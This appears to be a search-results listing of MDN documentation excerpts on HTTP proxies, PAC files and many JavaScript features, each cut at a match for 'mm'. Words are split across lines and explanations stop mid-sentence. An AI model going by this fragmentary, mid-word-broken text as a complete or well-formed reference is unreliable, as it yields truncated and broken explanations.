mmunication options for a given url or server. a client can specify a url with this method, or an asterisk (*) to refer to the entire server. ...
...r to the entire server. ...
Proxy Auto-Configuration (PAC) file - HTTP
ntained in the pac file defines the function: function findproxyforurl(url, host) { // ... } syntax function findproxyforurl(url, host) parameters url the url being accessed. the path and query components of https:// urls are stripped. in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url co
mmand-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path. host the hostname extracted from the url. this is only for convenience; it is the same...
...itions weekdayrange() daterange() timerange() logging utility alert() there was one associative array (object) already defined, because at the time javascript code was unable to define it by itself: proxyconfig.bindings note: pactester (part of the pacparser package) was used to test the following syntax examples. the pac file is named proxy.pac co
mmand line: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org (passes the host parameter www.mozilla.org and the url parameter http://www.mozilla.org) isplainhostname() syntax isplainhostname(host) parameters host the hostname from the url (excluding port number). description true if and only if there is no domain name in the hostname (no dots). examples isplai...
Proxy servers and tunneling - HTTP
ad time. forwarding client information through proxies proxies can make requests appear as if they originated from the proxy's ip address. this can be useful if a proxy is used to provide client anonymity, but in other cases information from the original request is lost. the ip address of the original client is often used for debugging, statistics, or generating location-dependent content. a co
mmon way to disclose this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request. or the de-facto standard versions: x-forwarded-for identifies the originating ip addresses of a client connecting to a web server thr...
...d reverse proxies, and can appear in the request headers and the response headers. http tunneling tunneling transmits private network data and protocol information through public network by encapsulating the data. http tunneling is using a protocol of higher level (http) to transport a lower level protocol (tcp). the http protocol specifies a request method called connect. it starts two-way co
mmunications with the requested resource and can be used to open a tunnel. this is how a client behind an http proxy can access websites using ssl (i.e. https, port 443). note, however, that not all proxy servers support the connect method or limit it to port 443 only. see also the http tunnel article on wikipedia. proxy auto-configuration (pac) a proxy auto-configuration (pac) file is a javascri...
Regular expression syntax cheatsheet - JavaScript
p or \k. to match this character literally, escape it with itself. in other words to search for \ use /\\/. assertions if you are looking to contribute to this document, please also edit the original article boundary-type assertions characters meaning ^ matches the beginning of input. if the multiline flag is set to true, also matches i
mmediately after a line break character. for example, /^a/ does not match the "a" in "an a", but does match the first "a" in "an a". this character has a different meaning when it appears at the start of a group. $ matches the end of input. if the multiline flag is set to true, also matches i
mmediately before a line break character. for example, /t$/ does not matc...
...ooooed" and "b" in "a bird warbled", but nothing in "a goat grunted". x+ matches the preceding item "x" 1 or more times. equivalent to {1,}. for example, /a+/ matches the "a" in "candy" and all the "a"'s in "caaaaaaandy". x? matches the preceding item "x" 0 or 1 times. for example, /e?le?/ matches the "el" in "angel" and the "le" in "angle." if used i
mmediately after any of the quantifiers *, +, ?, or {}, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times). x{n} where "n" is a positive integer, matches exactly "n" occurrences of the preceding item "x". for example, /a{2}/ doesn't match the "a" in "candy", but it matches all ...
Text formatting - JavaScript
urns the string "2 + 2" a string object has one property, length, that indicates the number of utf-16 code units in the string. for example, the following code assigns hellolength the value 13, because "hello, world!" has 13 characters, each represented by one utf-16 code unit. you can access each code unit using an array bracket style. you can't change individual characters because strings are i
mmutable array-like objects: const hello = 'hello, world!'; const hellolength = hello.length; hello[0] = 'l'; // this has no effect, because strings are i
mmutable hello[0]; // this returns "h" characters whose unicode scalar values are greater than u+ffff (such as some rare chinese/japanese/korean/vietnamese characters and some emoji) are stored in utf-16 with two surrogate code units each. for e...
... formation of strings with unmatched surrogate code units, in violation of the unicode standard. (examples should be added to this page after mdn bug 857438 is fixed.) see also string.fromcodepoint() or string.prototype.codepointat(). a string object has a variety of methods: for example those that return a variation on the string itself, such as substring and touppercase. the following table su
mmarizes the methods of string objects. methods of string method description charat, charcodeat, codepointat return the character or character code at the specified position in string. indexof, lastindexof return the position of specified substring in the string or last position of specified substring, respectively. startswith, endswith, include...
Inheritance and the prototype chain - JavaScript
ascript let's look at what happens behind the scenes in a bit more detail. in javascript, as mentioned above, functions are able to have properties. all functions have a special property named prototype. please note that the code below is free-standing (it is safe to assume there is no other javascript on the webpage other than the below code). for the best learning experience, it is highly reco
mmended that you open a console, navigate to the "console" tab, copy-and-paste in the below javascript code, and run it by pressing the enter/return key. (the console is included in most web browser's developer tools. more information is available for firefox developer tools, chrome devtools, and edge devtools.) function dosomething(){} console.log( dosomething.prototype ); // it does not matter h...
...e of the other built-in prototypes. this technique is called monkey patching and breaks encapsulation. while used by popular frameworks such as prototype.js, there is still no good reason for cluttering built-in types with additional non-standard functionality. the only good reason for extending a built-in prototype is to backport the features of newer javascript engines, like array.foreach. su
mmary of methods for extending the prototype chain here are all 4 ways and their pros/cons. all of the examples listed below create exactly the same resulting inst object (thus logging the same results to the console), except in different ways for the purpose of illustration. name example(s) pro(s) con(s) new-initialization function foo(){} foo.prototype = { fo...
JavaScript technologies overview - JavaScript
d creates rich web applications. however, the umbrella term "javascript" as understood in a web browser context contains several very different elements. one of them is the core language (ecmascript), another is the collection of the web apis, including the dom (document object model). javascript, the core language (ecmascript) the core language of javascript is standardized by the ecma tc39 co
mmittee as a language named ecmascript. this core language is also used in non-browser environments, for example in node.js. what falls under the ecmascript scope? among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (...
...object, and the other dom elements? read the dom documentation. other notable apis the settimeout and setinterval functions were first specified on the window interface in html standard. xmlhttprequest makes it possible to send asynchronous http requests. the css object model abstract css rules as objects. webworkers allows parallel computation. websockets allows low-level bidirectional co
mmunication. canvas 2d context is a drawing api for <canvas>. ...
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
javascript execution won't be halted. what went wrong? a source map has been specified more than once for a given javascript source. javascript sources are often combined and minified to make delivering them from the server more efficient. ...
...vascript source. javascript sources are often combined and minified to make delivering them from the server more efficient. with source maps, the debugger can map the code being executed to the original source files. ...
RangeError: radix must be an integer - JavaScript
e used for representing numeric values. for example, the decimal (base 10) number 169 is represented in hexadecimal (base 16) as a9. why is this parameter's value limited to 36? a radix that is larger than 10 uses alphabetical characters as digits; therefore, the radix can't be larger than 36, since the latin alphabet (used by english and many other languages) only has 26 characters. ...
... 36, since the latin alphabet (used by english and many other languages) only has 26 characters. the most co
mmon radixes: 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers. ...
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
mbined and minified to make delivering them from the server more efficient. with source maps, the debugger can map the code being executed to the original source files. the source map specification changed the syntax due to a conflict with ie whenever it was found in the page after //@cc_on was interpreted to turn on conditional compilation in the ie jscript engine. the conditional compilation co
mment in ie is a little known feature, but it broke source maps with jquery and other libraries. examples deprecated syntax syntax with the "@" sign is deprecated. //@ sourcemappingurl=http://example.com/path/to/your/sourcemap.map standard syntax use the "#" sign instead. //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a sourcemap header to ...
...it broke source maps with jquery and other libraries. examples deprecated syntax syntax with the "@" sign is deprecated. //@ sourcemappingurl=http://example.com/path/to/your/sourcemap.map standard syntax use the "#" sign instead. //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a sourcemap header to your javascript file to avoid having a co
mment at all: sourcemap: /path/to/file.js.map ...
SyntaxError: JSON.parse: bad parsing - JavaScript
: unexpected character syntaxerror: json.parse: unexpected non-whitespace character after json data syntaxerror: json.parse error: invalid character at position {0} (edge) error type syntaxerror what went wrong? json.parse() parses a string as json. this string has to be valid json and will throw this error if incorrect syntax was encountered. ...
...ong? json.parse() parses a string as json. this string has to be valid json and will throw this error if incorrect syntax was encountered. examples json.parse() does not allow trailing co
mmas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing co
mmas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'. json.parse("{'foo': 1}"); // syntaxerror: json.parse: expected property name or '}' // at line 1 column 2 of the json data instead write "foo": json.parse('{"foo": 1}'); leading zeros and decimal points...
SyntaxError: Malformed formal parameter - JavaScript
y problem. but why didn't you say that in the first place? admittedly the wording in the error message is slightly strange. "formal parameter" is a fancy way of saying "function argument". and we use the word "malformed" because all firefox engineers are huge fans of 19th-century gothic horror novels. ...
...he wording in the error message is slightly strange. "formal parameter" is a fancy way of saying "function argument". and we use the word "malformed" because all firefox engineers are huge fans of 19th-century gothic horror novels. ...
SyntaxError: missing ) after condition - JavaScript
the javascript exception "missing ) after condition" occurs when there is an error with how an if condition is written. it must appear in parenthesis after the if keyword. message syntaxerror: expected ')' (edge) syntaxerror: missing ) after condition (firefox) error type syntaxerror what went wrong? there is an error with how an if condition is written. in any progra
mming language, code needs to make decisions and carry out actions accordingly depending on different inputs. the if statement executes a statement if a specified condition is truthy. in javascript, this condition must appear in parenthesis after the if keyword, like this: if (condition) { // do something if the condition is true } examples missing parenthesis it might just be an oversight, carefully check all you ...
...} examples missing parenthesis it might just be an oversight, carefully check all you parenthesis in your code. if (3 > math.pi { console.log("wait what?"); } // syntaxerror: missing ) after condition to fix this code, you would need to add a parenthesis that closes the condition. if (3 > math.pi) { console.log("wait what?"); } misused is keyword if you are coming from another progra
mming language, it is also easy to add keywords that don't mean the same or have no meaning at all in javascript. if (done is true) { console.log("we are done!"); } // syntaxerror: missing ) after condition instead you need to use a correct comparison operator. for example: if (done === true) { console.log("we are done!"); } ...
SyntaxError: Unexpected token - JavaScript
got "x" syntaxerror: expected rest argument name, got "x" syntaxerror: expected closing parenthesis, got "x" syntaxerror: expected '=>' after argument list, got "x" error type syntaxerror what went wrong? a specific language construct was expected, but something else was provided. this might be a simple typo. ...
...ist, got "x" error type syntaxerror what went wrong? a specific language construct was expected, but something else was provided. this might be a simple typo. examples expression expected for example, when chaining expressions, trailing co
mmas are not allowed. ...
SyntaxError: function statement requires a name - JavaScript
y in this context at all. examples statements vs expressions a function statement (or function declaration) requires a name, this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (i
mmediately invoked function expression), which is a function that runs as soon as it is defined. you will need a few more braces in this case: (function () { })(); labeled functions if you are using function labels, you will still need to provide a function name after the function keyword. this doesn't work: function greeter() { german: function () { return "moin"; } } // syntaxerror: f...
...e: function greeter() { german: function g() { return "moin"; } } object methods if you intended to create a method of an object, you will need to create an object. the following syntax without a name after the function keyword is valid then. var greeter = { german: function () { return "moin"; } }; callback syntax also, check your syntax when using callbacks. brackets and co
mmas can get difficult easily. promise.then( function() { console.log("success"); }); function() { console.log("error"); } // syntaxerror: function statement requires a name correct would be: promise.then( function() { console.log("success"); }, function() { console.log("error"); } ); ...
JavaScript error reference - JavaScript
the pages below will provide additional details about these errors. each error is an object based upon the error object, and has a name and a message. errors displayed in the web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code. for a beginner's introductory tutorial on fixing javascript errors, see what went wrong? troubleshooting javascript. ...
...ted tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated. ...
Arrow function expressions - JavaScript
ngth }) => length); // [8, 6, 7, 9] no separate this before arrow functions, every new function defined its own this value based on how the function was called: a new object in the case of a constructor. undefined in strict mode function calls. the base object if the function was called as an "object method". etc. this proved to be less than ideal with an object-oriented style of progra
mming. function person() { // the person() constructor defines `this` as an instance of itself. this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // which is different from the `this` // defined by the person() constructor. this.age++; }, 1000); } ...
...rently with operator precedence compared to regular functions. let callback; callback = callback || function() {}; // ok callback = callback || () => {}; // syntaxerror: invalid arrow-function arguments callback = callback || (() => {}); // ok examples basic usage // an empty arrow function returns undefined let empty = () => {}; (() => 'foobar')(); // returns "foobar" // (this is an i
mmediately invoked function expression) var simple = a => a > 15 ? 15 : a; simple(16); // 15 simple(10); // 10 let max = (a, b) => a > b ? a : b; // easy array filtering, mapping, ... var arr = [5, 6, 13, 0, 1, 18, 23]; var sum = arr.reduce((a, b) => a + b); // 66 var even = arr.filter(v => v % 2 == 0); // [6, 0, 18] var double = arr.map(v => v * 2); // [10, 12, 26, 0, 2, 36, 46] // more con...
Array.prototype.copyWithin() - JavaScript
ect, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.copywithin(target[, start[, end]]) parameters target zero-based index at which to copy the sequence to. if negative, target will be counted from the end. if target is at or greater than arr.length, nothing will be copied. if target is positioned after start, the copied sequence will be tri
mmed to fit arr.length. start optional zero-based index at which to start copying elements from. if negative, start will be counted from the end. if start is omitted, copywithin will copy from index 0. end optional zero-based index at which to end copying elements from. copywithin copies up to but not including end. if negative, end will be counted from the end. if end is omitted, copywithin ...
... if start is omitted, copywithin will copy from index 0. end optional zero-based index at which to end copying elements from. copywithin copies up to but not including end. if negative, end will be counted from the end. if end is omitted, copywithin will copy until the last index (default to arr.length). return value the modified array. description the copywithin works like c and c++'s me
mmove, and is a high-performance method to shift the data of an array. this especially applies to the typedarray method of the same name. the sequence is copied and pasted as one operation; pasted sequence will have the copied values even when the copy and paste region overlap. the copywithin function is intentionally generic, it does not require that its this value be an array object. the copywit...
Array.prototype.join() - JavaScript
the join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by co
mmas or a specified separator string. if the array has only one item, then that item will be returned without using the separator. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.join([separator]) parameters separator optional specifies a string to separate each pair of adjacent elements of the array. the separator is converted to a string if necessary. if omitted, the array elements are separated with a co
mma (","). if separator is an empty string, all elem...
...s 0, the empty string is returned. description the string conversions of all array elements are joined into one string. if an element is undefined, null or an empty array [], it is converted to an empty string. examples joining an array four different ways the following example creates an array, a, with three elements, then joins the array four times: using the default separator, then a co
mma and a space, then a plus and an empty string. var a = ['wind', 'water', 'fire']; a.join(); // 'wind,water,fire' a.join(', '); // 'wind, water, fire' a.join(' + '); // 'wind + water + fire' a.join(''); // 'windwaterfire' joining an array-like object the following example joins array-like object (arguments), by calling function.prototype.call on array.prototype.join. function f(a, b, ...
Array.prototype.push() - JavaScript
he push method relies on a length property to determine where to start inserting the given values. if the length property cannot be converted into a number, the index used is 0. this includes the possibility of length being nonexistent, in which case length will also be created. ...
... suitable in applications of this method, as strings are i
mmutable. similarly for the native, array-like object arguments. examples adding elements to an array the following code creates the sports array containing two elements, then appends two elements to it. the total variable contains the new length of the array. let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swi
mming') console.log(sports) // ['soccer', 'baseball', 'football', 'swi
mming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. do not use this method if the second array (morevegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. ...
Array.prototype.toLocaleString() - JavaScript
syntax arr.tolocalestring([locales[, options]]); parameters locales optional a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. ...
...defined'); } var a = object(this); // 2. let len be ? tolength(? get(a, "length")). var len = a.length >>> 0; // 3. let separator be the string value for the // list-separator string appropriate for the // host environment's current locale (this is // derived in an implementation-defined way). // note: in this case, we will use a co
mma var separator = ','; // 4. if len is zero, return the empty string. if (len === 0) { return ''; } // 5. let firstelement be ? get(a, "0"). var firstelement = a[0]; // 6. if firstelement is undefined or null, then // a.let r be the empty string. // 7. else, // a. let r be ? // tostring(? // invoke( ...
Array - JavaScript
bjects. description arrays are list-like objects whose prototype has methods to perform traversal and mutation operations. neither the length of a javascript array nor the types of its elements are fixed. since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the progra
mmer chooses to use them. in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays. arrays cannot use strings as element indexes (as in an associative array) but must use integers. setting or accessing via non-integers using bracket notation (or dot notation) will not set or retrieve an element from the ...
...ting or accessing via non-integers using bracket notation (or dot notation) will not set or retrieve an element from the array list itself, but will set or access a variable associated with that array's object property collection. the array's object properties and list of array elements are separate, and the array's traversal and mutation operations cannot be applied to these named properties. ...
Date.prototype[@@toPrimitive] - JavaScript
tostring. javascript calls the [@@toprimitive]() method to convert an object to a primitive value. you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected. ...
... to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected. examples returning date primitives const testdate = new date(1590757517834); // "date fri may 29 2020 14:05:17 gmt+0100 (british su
mmer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british su
mmer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british su
mmer time)" specifications specification ecmascript (ecma-262)the definition of 'date.prototype.@@toprimitive' in that specification. ...
Date.UTC() - JavaScript
the minutes. if omitted, defaults to 0. second optional an integer between 0 and 59 representing the seconds. if omitted, defaults to 0. millisecond optional an integer between 0 and 999 representing the milliseconds. if omitted, defaults to 0. return value a number representing the number of milliseconds for the given date since january 1, 1970, 00:00:00, utc. description utc() takes co
mma-delimited date and time parameters and returns the number of milliseconds between january 1, 1970, 00:00:00, universal time and the specified date and time. years between 0 and 99 are converted to a year in the 20th century (1900 + year). for example, 95 is converted to the year 1995. the utc() method differs from the date constructor in two ways: date.utc() uses universal time instead of t...
... a year in the 20th century (1900 + year). for example, 95 is converted to the year 1995. the utc() method differs from the date constructor in two ways: date.utc() uses universal time instead of the local time. date.utc() returns a time value as a number instead of creating a date object. if a parameter is outside of the expected range, the utc() method updates the other parameters to acco
mmodate the value. for example, if 15 is used for month, the year will be incremented by 1 (year + 1) and 3 will be used for the month. utc() is a static method of date, so it's called as date.utc() rather than as a method of a date instance. examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.ut...
Date.prototype.toUTCString() - JavaScript
this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.toutcstring() return value a string representing the given date using the utc time zone. description the value returned by toutcstring() is a string in the form www, dd
mmm yyyy hh:
mm:ss gmt, where: format sring description www day of week, as three letters (e.g. sun, mon, ...) dd day of month, as two digits with leading zero if required
mmm month, as three letters (e.g. jan, feb, ...) yyyy year, as four or more digits with leading zeroes if required hh hour, as two digits with leading zer...
...ere: format sring description www day of week, as three letters (e.g. sun, mon, ...) dd day of month, as two digits with leading zero if required
mmm month, as three letters (e.g. jan, feb, ...) yyyy year, as four or more digits with leading zeroes if required hh hour, as two digits with leading zero if required
mm minute, as two digits with leading zero if required ss seconds, as two digits with leading zero if required prior to ecmascript 2018, the format of the return value varied according to the platform. the most co
mmon return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps. examples using toutcstring() let today = new dat...
Intl.DisplayNames - JavaScript
de display names to create an intl.displaynames for a locale and get the display name for a region code. ...
...egionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('
mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('
mm'); // "緬甸" language display names to create an intl.displaynames for a locale and get the display name for a language-script-region sequence. // get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" languagenames.of('de'); // "german" languagenames.of('fr-ca'); // "canadian french" lan...
Intl.Locale.prototype.collation - JavaScript
lation is the process of ordering strings of characters. it is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database. while the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language. the collation property helps to make it easier for javascript progra
mmers to access the collation type used by a particular locale. below is a table with the available collation types, taken from the unicode collation specification. valid collation types collation type description big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a previous version of the ordering, for comp...
...jk characters (used in chinese) compat a previous version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected. do not use. ...
Intl - JavaScript
constructor properties intl.collator() constructor for collators, which are objects that enable language-sensitive string comparison. ...
...age-specific rules for plurals. intl.relativetimeformat() constructor for objects that enable language-sensitive relative time formatting. static methods intl.getcanonicallocales() returns canonical locale names. locale identification and negotiation the internationalization constructors as well as several language sensitive methods of other constructors (listed under see also) use a co
mmon pattern for identifying locales and determining the one they will actually use: they all accept locales and options arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property. locales argument the locales argument requests that a particular locale (or a locale from a list of them) be considered for use i...
JSON.parse() - JavaScript
forms. // we split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in ie's and safari's regexp engines. first we // replace the json backslash pairs with "@" (a non-json character). second, we // replace all simple value tokens with "]" characters. third, we delete all // open brackets that follow a colon or co
mma or that begin the text. finally, // we look to see that the remaining characters are only whitespace or "]" or // "," or ":" or "{" or "}". if that is so, then the text is safe for eval. if ( rx_one.test( text .replace(rx_two, "@") .replace(rx_three, "]") .replace(rx_four, "") ) ...
...ue * 2 // return value * 2 for numbers : value // return everything else unchanged ); // { p: 10 } json.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', (key, value) => { console.log(key); // log the current property name, the last is "". return value; // return the unchanged property value. }); // 1 // 2 // 4 // 6 // 5 // 3 // "" json.parse() does not allow trailing co
mmas // both will throw a syntaxerror json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); json.parse() does not allow single quotes // will throw a syntaxerror json.parse("{'foo': 1}"); specifications specification ecmascript (ecma-262)the definition of 'json.parse' in that specification. ...
JSON - JavaScript
cted, and aside from its two method properties, it has no interesting functionality of its own. description javascript and json differences json is a syntax for serializing objects, arrays, numbers, strings, booleans, and null. it is based upon javascript syntax but is distinct from it: some javascript is not json. objects and arrays property names must be double-quoted strings; trailing co
mmas are forbidden. numbers leading zeros are prohibited. a decimal point must be followed by at least one digit. nan and infinity are unsupported. any json text is a valid javascript expression... ...but only in javascript engines that have implemented the proposal to make all json text valid ecma-262. in engines that haven't implemented the proposal, u+2028 line separator and u+2029 paragraph ...
...g literals is a syntaxerror. consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or co
mments. for those who wish to use a more human-friendly configuration format based on json, there is json5, used by the babel compiler, and the more co
mmonly used yaml. full json syntax the full json syntax is as follows: json = null or true or false or jsonnumber or jsonstring or jsonobject or jsonarray jsonnumber = - positivenumber or positivenumber positivenumber...
Object.prototype.constructor - JavaScript
new number(), 1, // remains unchanged new object(), {}, new regexp(), /(?:)/, new string(), 'test' // remains unchanged ] for (let i = 0; i < types.length; i++) { types[i].constructor = type types[i] = [types[i].constructor, types[i] instanceof type, types[i].tostring()] } console.log(types.join('\n')) this example displays the following output (co
mments added for reference): function type() {},false, // new array() function type() {},false, // [] function type() {},false,false // new boolean() function boolean() { [native code] },false,true // true function type() {},false,mon sep 01 201...
...ow child.prototype = object.create(parentwithstatic.prototype) ... or assign parent constructor identifier to a separate property on the child constructor function and access it via that property: ... child.parentconstructor = parentwithstatic child.prototype = object.create(parentwithstatic.prototype) ... let startposition = this.constructor.parentconstructor.getstartposition() ... su
mmary: manually updating or setting the constructor can lead to differrent and sometimes confusing consequences. to prevent this, just define the role of constructor in each specific case. in most cases, constructor is not used and reassignment of it is not necessary. specifications specification ecmascript (ecma-262)the definition of 'object.prototype.constructor' in that s...
Object.preventExtensions() - JavaScript
be added to it. object.preventextensions() marks an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. note that the properties of a non-extensible object, in general, may still be deleted. attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most co
mmonly, but not exclusively, when in strict mode). object.preventextensions() only prevents addition of own properties. properties can still be added to the object prototype. this method makes the [[prototype]] of the target i
mmutable; any [[prototype]] re-assignment will throw a typeerror. this behavior is specific to the internal [[prototype]] property, other properties of the target object wi...
...removable: true }; object.preventextensions(nonextensible); object.defineproperty(nonextensible, 'new', { value: 8675309 }); // throws a typeerror // in strict mode, attempting to add new properties // to a non-extensible object throws a typeerror. function fail() { 'use strict'; // throws a typeerror nonextensible.newproperty = 'fail'; } fail(); a non-extensible object's prototype is i
mmutable: var fixed = object.preventextensions({}); // throws a 'typeerror'. fixed.__proto__ = { oh: 'hai' }; non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror. in es2015, a non-object argument will be treated as if it was a non-extensible ordinary object, simply return it. object.preventextensions(1); // typeerror: 1 is not...
Object.seal() - JavaScript
syntax object.seal(obj) parameters obj the object which should be sealed. return value the object being sealed. description by default, objects are extensible (new properties can be added to them). sealing an object prevents new properties from being added and marks all existing properties as non-configurable. this has the effect of making the set of properties on the object fixed and i
mmutable. making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed. attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most com...
...objects sealed with object.seal() can have their existing properties changed. examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; // new properties may be added, existing properties // may be changed or removed. ...
Promise() constructor - JavaScript
thub repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new promise(executor) parameters executor a function to be executed by the constructor, during the process of constructing the promiseobj. the executor is custom code that ties an outcome to a promise. you, the progra
mmer, write the executor. the signature of this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asynchronous operation. } at the time when the constructor generates the new promiseobj, it also generates a corresponding pair of functions for resolutionfunc and rejectionfunc; these are "tethered" to the promiseobj. therefore, the code within the exe...
...; these are "tethered" to the promiseobj. therefore, the code within the executor has the opportunity to perform some operation and then reflect the operation's outcome(if the value is not another promise object) as either "fulfilled" or "rejected" by terminating with an invocation of either the resolutionfunc or the rejectionfunc, respectively. the executor has no meaningful return value. it co
mmunicates via the side-effect caused by resolutionfunc or rejectionfunc. the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asynchronous and provides a callback. the callback is defined within the executor code. the callback terminates by invoking resolutionfunc. the invocation of resolutionfunc includes a value parameter.
Promise.prototype.then() - JavaScript
const nexttick = (() => { const noop = () => {}; // literally const nexttickpromise = () => promise.resolve().then(noop); const rfab = reflect.apply.bind; // (thisarg, fn, thisarg, [...args]) const nexttick = (fn, ...
... that will be rejected with 'error' after 1 second return new promise(rejectlater); }); p3.then(function(v) { // not called console.log('resolved', v); }, function(e) { console.error('rejected', e); // "rejected", 'error' }); window.seti
mmediate style promise-based polyfill using a function.prototype.bind() reflect.apply (reflect.apply()) method to create a (non-cancellable) window.seti
mmediate-style function. const nexttick = (() => { const noop = () => {}; // literally const nexttickpromise = () => promise.resolve().then(noop); const rfab = reflect.apply.bind; // (thisarg, fn, thisarg, [...args]) const nexttick = (fn, ...args) => ( fn !== undefined ? promise.resolve(args).then(rfab(null, fn, null)) : nexttickpromise(), undefined ); nexttick.ntp = ne...
String length - JavaScript
the length property of a string object contains the length of the string, in utf-16 code units. length is a read-only data property of string instances. description this property returns the number of code units in the string. utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most co
mmon characters, but needs to use two code units for less co
mmonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string. ecmascript 2016 (ed. 7) established a maximum length of 2^53 - 1 elements. previously, no maximum length was specified. in firefox, strings have a maximum length of 2**30 - 2 (~1gb). in versions prior to firefox 65, the maximum length was 2**28 - 1 (~256mb). for an empty s...
...ers it has), which is 1. ...
String.prototype.split() - JavaScript
the original string is: "oh brave new world that has such peopl...
... the original string is: "oh brave new world that has such people in it." the separator is: "undefined" the array has 1 elements: oh brave new world that has such ...
WebAssembly.Module() constructor - JavaScript
eaming() method should be used at all other times. new webassembly.module(buffersource); parameters buffersource a typed array or arraybuffer containing the binary code of the .wasm module you want to compile. ...
...e binary code of the .wasm module you want to compile. examples synchronously compiling a webassembly module var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwas
mmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwas
mmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute...
eval() - JavaScript
odewithdatefunction() far more efficiently because the function arguments names can be minified too as seen in the minified code below. console.log(function('"use strict";return(function(a){return a(5)})')()(function(a){ return"monday tuesday wednesday thursday friday saturday sunday".split(" ")[a%7||0]})); there are also additional safer (and faster!) alternatives to eval() or function() for co
mmon use-cases. accessing member properties you should not use eval() to convert property names into properties. consider the following example where the property of the object to be accessed is not known until the code is executed. this can be done with eval(): var obj = { a: 20, b: 30 }; var propname = getpropname(); // returns "a" or "b" eval( 'var result = obj.' + propname ); however, eva...
